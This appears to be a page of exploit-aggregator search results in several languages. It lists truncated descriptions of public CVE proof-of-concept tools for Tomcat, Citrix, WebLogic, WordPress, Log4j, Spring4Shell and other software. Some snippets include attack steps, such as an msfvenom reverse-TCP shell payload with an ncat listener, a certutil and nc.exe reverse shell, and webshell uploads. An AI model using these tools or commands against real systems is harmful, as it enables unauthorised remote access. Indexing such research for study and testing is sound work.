996606 matches found
CVE-2024-38063-
CVE-2024-38063- IPv6経由でカーネルをリモートから悪用する CVE-2024-38063 - IPv6経由でカーネルをリモートから悪用する マーカス・ハッチンス Marcus Hutchins...
CVE-2026-8037-POC
CVE-2026-8037-POC 実行可能なコマンド検出とワンクリックgetshell（サーバー側にサービスをデプロイする必要あり）が含まれます。 pco.yaml を nuclei と組み合わせて素早く検出できます。 クイックスタート 対話モード root@kitploit: python go.py ターゲットURLを入力 → 機能メニューを選択するだけです。 ターゲットの検出 root@kitploit: 高速検出（基本情報8項目） python go.py -t https://IP:PORT --probe fast 詳細検出（全コマンド：30+項目） python go.p...
CVE-2019-0232
Apache Tomcat CVE-2019-0232 漏洞利用工具 此脚本利用 Apache Tomcat 中的 CVE-2019-0232 漏洞，该漏洞由于对 ism.bat 脚本处理不当，可导致远程代码执行。脚本借助 certutil 和 nc.exe（Netcat）的反向 shell 技术，获取对易受攻击系统的远程访问权限。 漏洞概述： CVE ID ：CVE-2019-0232 受影响产品 ：Apache Tomcat 6.x、7.x、8.x 和 9.x 描述 ： CVE-2019-0232 是 Apache Tomcat 处理 ism.bat...
RCE_CVE-2024-7954-
RCECVE-2024-7954- El plugin porteplume utilizado por SPIP antes de 4.30-alpha2, 4.2.13 y 4.1.16 es vulnerable a una ejecución de código arbitrario. Un atacante remoto no autenticado puede ejecutar PHP arbitrario como el usuario de SPIP enviando una solicitud HTTP manipulada. CRÍTICO Exploit: POST...
PCmanBoF
PCman FTP服务器缓冲区溢出与远程代码执行 CVE-2013-4730 一个利用CVE-2013-4730针对PCman FTP服务器v2.0.7的简单缓冲区溢出攻击 工作原理？ 这个简单的BoF覆盖缓冲区并执行shellcode，从而建立反向连接（反向shell） 漏洞机器： WindowsXP SP3运行PCman FTP服务器2.0.7版本 启动 $ python3 PCman.py 将shellcode替换为你自己的！ $ sudo ./msfvenom windows/shellreversetcp LHOST= LPORT=4444 启动netcat $ ncat -l...
CVE-2019-19781
CVE-2019-19781 Citrix ADC 远程命令执行 参考: https://www.exploit-db.com/exploits/47901...
CVE-2023-47400
CVE-2023-47400 CVE-2023-47400 的概念验证 通过任意文件写入在 Nagios XI 5.11.0 上实现已认证的 PHP 远程代码执行 !Note 此 PoC 基于 NCC 集团发布的技术公告 https://research.nccgroup.com/2023/12/13/technical-advisory-multiple-vulnerabilities-in-nagios-xi/ 此 PoC 遵循以下过程： 上传一个名为 placeholder.jpg 的有效图像（仅包含 JFIF 魔数头部，无内容） 使用自定义包含的 重命名 功能将图像重命名为...
cve-2020-14882
cve-2020-14882 OracleのWebLogicの認証なしリモートコマンド実行を悪用するBashスクリプト - CVE-2020-14882 使い方 ./cve-2020-14882.sh...
CVE-2026-63030
CVE-2026-63030 WordPress REST API batch route confusion + SQL injection leading to unauthorized admin creation → Remote Code Execution RCE complete exploit chain PoC. For authorized security testing, vulnerability reproduction, and research only. Do not use against unauthorized targets...
CVE-2025-32432-PoC
CVE-2025-32432 エクスプロイトスクリプト Python PoC CraftCMS 3.x / 4.x / 5.x 向け事前認証リモートコード実行 PoC メンテナー: C.T.Y. 研究目的のみ 脆弱性発見: Nicolas Bourras – Orange Cyberdefense 追加の PoC 参考: SensePost の研究 & Chirag Artani の公開スクリプト 1. 概要 このリポジトリには、CraftCMS の asset-transform エンドポイントにおける事前認証 RCE である CVE-2025-32432 向けの 2 つの補完的な...
DarkReplica
DarkReplica CVE-2026-23631 Exploit de RCE post-autenticación en Redis El análisis técnico completo se puede encontrar aquí: https://www.zeroday.cloud/blog/redis-cve-2026-23631-dark-replica...
webmin_docker_and_exp
Docker-webmin-RCE-实验室 1. 包含 v1.890 和 v1.920 版本的 CVE-2019-15107 Webmin RCE 复现 Dockerfile。 2. 每个版本的 Exp。 构建镜像 root@kitploit: 首先，克隆文件 然后 cd webmin1.890/1.920docker docker build -t hachp1/webmin . 运行容器 root@kitploit: docker run -d -p 10000:10000 hachp1/webmin 登录 Webmin root@kitploit: https://ip:10000...
CVE-2024-46986
CVE-2024-46986 Exploit de Camaleon CMS - Carga Arbitraria de Archivos Este repositorio contiene un script en Python que automatiza la explotación de una vulnerabilidad de carga de archivos en Camaleon CMS. La vulnerabilidad permite a un atacante cargar archivos arbitrarios como scripts de Ruby en...
pbck-exploit
Joomla Page Builder CK 大规模利用与验证框架 未认证任意文件上传 → 远程代码执行 📑 目录 漏洞概述 受影响版本 功能特性 安装 使用方法 概念验证 技术深度剖析 检测方法 防御与缓解 免责声明 参考资料 🔴 漏洞概述 CVE-2026-56290 是 Page Builder CK （compagebuilderck）中的一个严重级漏洞。Page Builder CK 是一款流行的 Joomla 页面构建器扩展。browse.ajaxAddPicture 控制器方法接受未认证的文件上传，并允许使用用户可控的目标路径 ，攻击者可以将任意 PHP 文件写入 Web...
log4j-CVE-2021-44228
log4j-CVE-2021-44228 2021年12月5日，Apache在其广泛使用的Log4j日志服务中发现了一个漏洞（后确定为CVE-2021-44228），又名Log4shell。该漏洞使攻击者能够完全控制受影响的服务器，通过允许未经验证的远程代码执行，前提是用户运行的是使用Java日志库的应用程序。Log4j被大量集成到广泛的DevOps框架、企业IT系统以及供应商软件和云产品中。 在恶意远程主机上执行以下操作，以检查您的服务器是否易受Log4j漏洞利用： curl vulnserver:port -H 'X-Api-Version:...
CVE-2025-23942-poc
WP Load Gallery 漏洞利用 CVE-2025-23942 📌 描述 NgocCode WP Load Gallery 中存在危险类型文件无限制上传漏洞，允许向 Web 服务器上传 Web Shell。该漏洞影响 WP Load Gallery 版本：从 n/a 至 2.1.6。 ⚠️ 漏洞详情 CVE ID: CVE-2025-23942 受影响插件: WP Load Gallery 受影响版本: 最高 2.1.6 漏洞类型: 无限制文件上传 严重性: 严重 CVSS 9.1 攻击向量: 已验证用户 作者级+ 远程代码执行 RCE 补丁可用性: ❌ 尚无官方补丁 🚀...
CVE-2023-21716
CVE-2023-21716 Microsoft Word RTF 字体表堆损坏 https://twitter.com/jduck Microsoft Office 的 wwlib 中存在一个漏洞，允许攻击者以打开恶意 RTF 文档的受害者的权限实现远程代码执行。攻击者可以将此文件作为电子邮件附件（或其他方式）投递。 背景 Microsoft Word 是 Microsoft Office 附带的文字处理应用程序。在默认安装中，Microsoft Word 处理富文本格式（RTF）文档。此类文档主要由基于 7 位 ASCII 的关键字组成，这些关键字共同封装了各种各样的富文本内容。...
APT-Backpack
APT-バックパック APT、正当なRAT、および敵対者が使用するその他のツールで最もよく使われるCVE CVE's CVE-2019-11510 Pulse Connect Secure 8.2 8.3 9.0 未認証のファイル読み取り CVE-2019-19781 Citrix ADC & Gateway ディレクトリトラバーサル CVE-2020-5902 F5 Big IP RCE CVE-2021-1497 Cisco HyperFlex HX 未認証のコマンドインジェクション CVE-2021-20090 Buffalo WSR-2533DHP2 WSR-2533DHP3...
CVE-2022-22965_Spring4Shell
CVE-2022-22965Spring4Shell CVE-2022-22965（Spring4Shell，SpringShell）是Spring框架中的一个漏洞，它利用数据绑定功能将HTTP请求中存储的数据绑定到应用程序使用的某些对象。该漏洞存在于getCachedIntrospectionResults方法中，攻击者可以通过HTTP请求传递类名来未经授权访问此类对象。当使用特殊对象类时，会导致数据泄露和远程代码执行的风险。此漏洞类似于早已关闭的CVE-2010-1622，该漏洞通过添加类名检查作为修复，以确保名称不匹配classLoader或protectionDomain。 评分...